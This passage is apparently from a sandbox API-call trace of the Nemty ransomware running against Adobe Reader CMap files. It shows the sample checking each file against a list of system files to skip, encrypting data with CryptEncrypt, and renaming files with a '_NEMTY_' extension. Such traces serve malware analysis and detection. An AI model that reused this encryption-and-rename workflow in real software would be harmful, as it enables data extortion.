(lpString1="Adobe-CNS1-UCS2", lpString2="NTDETECT.COM") returned -1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="ntldr") returned -1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="MSDOS.SYS") returned -1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="IO.SYS") returned -1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="boot.ini") returned -1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="boot.ini") returned -1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="AUTOEXEC.BAT") returned -1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="ntuser.dat") returned -1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="desktop.ini") returned -1 [0198.088] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="CONFIG.SYS") returned -1 [0198.089] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="RECYCLER") returned -1 [0198.089] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="BOOTSECT.BAK") returned -1 [0198.089] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="bootmgr") returned -1 [0198.089] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="programdata") returned -1 [0198.089] lstrcmpiW (lpString1="Adobe-CNS1-UCS2", lpString2="appdata") returned -1 [0198.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-UCS2", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0198.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-UCS2", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-UCS2", lpUsedDefaultChar=0x0) returned 15 [0198.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-UCS2", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0198.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-UCS2", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-UCS2", lpUsedDefaultChar=0x0) returned 15 [0198.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-UCS2", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0198.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-UCS2", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-UCS2", lpUsedDefaultChar=0x0) returned 15 [0198.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-UCS2", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0198.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-UCS2", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-UCS2", lpUsedDefaultChar=0x0) returned 15 [0198.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0198.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0198.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0198.089] Sleep (dwMilliseconds=0x5) [0198.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x29b999d0, dwHighDateTime=0x1d561e8)) [0198.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x29b999d0, dwHighDateTime=0x1d561e8)) [0198.102] GetLastError () returned 0x5 [0198.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0198.102] GetLastError () returned 0x5 [0198.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0198.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.102] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0198.102] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0198.103] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0198.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0198.103] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="KU8eODyrRtpo8mp1DzYNNa5zOFK4PouLIgvh7AckVPHbIibRWZJv26/dQBGC2fqj\r\n/pw7BBY28qkaunien2tQ7Lp2CT0adDM+TvxoO4Bq3PlK2xJ3dKlbufTIiiwdfSWQ\r\nW4ZEmwWMNFNGKvXA8IypBh2ZTGOEOplTV0HYp7x4BpXvkmSXMGgmTCWOvN0zoFfu\r\npxl5+s6o8NrkSz+Xfjl0yefToEA7zC6p9eZBnjloZA9xyMGq2N0EQ13tUwWbHq4l\r\nPC93XfEIBwCdqQC/cnUXLhPw9TXYA/kuVccm0YsNG6ntgqJtDuPlWUJfrJKDz7JT\r\nAnNBW8JtL7hMOwde84zHIA==\r\n", pcchString=0x653e91c) returned 1 [0198.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0198.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0198.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0198.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0198.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0198.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.103] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0198.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0198.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.113] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.170] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.179] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.192] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.192] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.201] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.201] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0198.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.214] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0198.214] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0198.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0198.214] CloseHandle (hObject=0xffffffff) returned 0 [0198.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0198.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0198.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0198.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0198.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0198.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0198.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0198.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0198.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0198.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0198.214] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-ucs2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-ucs2._nemty_kgobjgd_")) returned 0 [0198.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0198.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0198.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0198.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0198.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0198.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0198.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.215] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0198.215] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-0", cAlternateFileName="ADD8F8~1")) returned 1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2=".") returned 1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="..") returned 1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="...") returned 1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="windows") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="$RECYCLE.BIN") returned 1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="rsa") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="NTDETECT.COM") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="ntldr") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="MSDOS.SYS") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="IO.SYS") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="boot.ini") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="boot.ini") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="AUTOEXEC.BAT") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="ntuser.dat") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="desktop.ini") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="CONFIG.SYS") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="RECYCLER") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="BOOTSECT.BAK") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="bootmgr") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="programdata") returned -1 [0198.215] lstrcmpiW (lpString1="Adobe-GB1-0", lpString2="appdata") returned -1 [0198.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-0", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-0", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-0", lpUsedDefaultChar=0x0) returned 11 [0198.215] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0198.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-0", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0198.215] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-0", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-GB1-0", lpUsedDefaultChar=0x0) returned 11 [0198.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0198.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0198.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0198.216] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-GB1-0", cchWideChar=11, lpMultiByteStr=0x0, 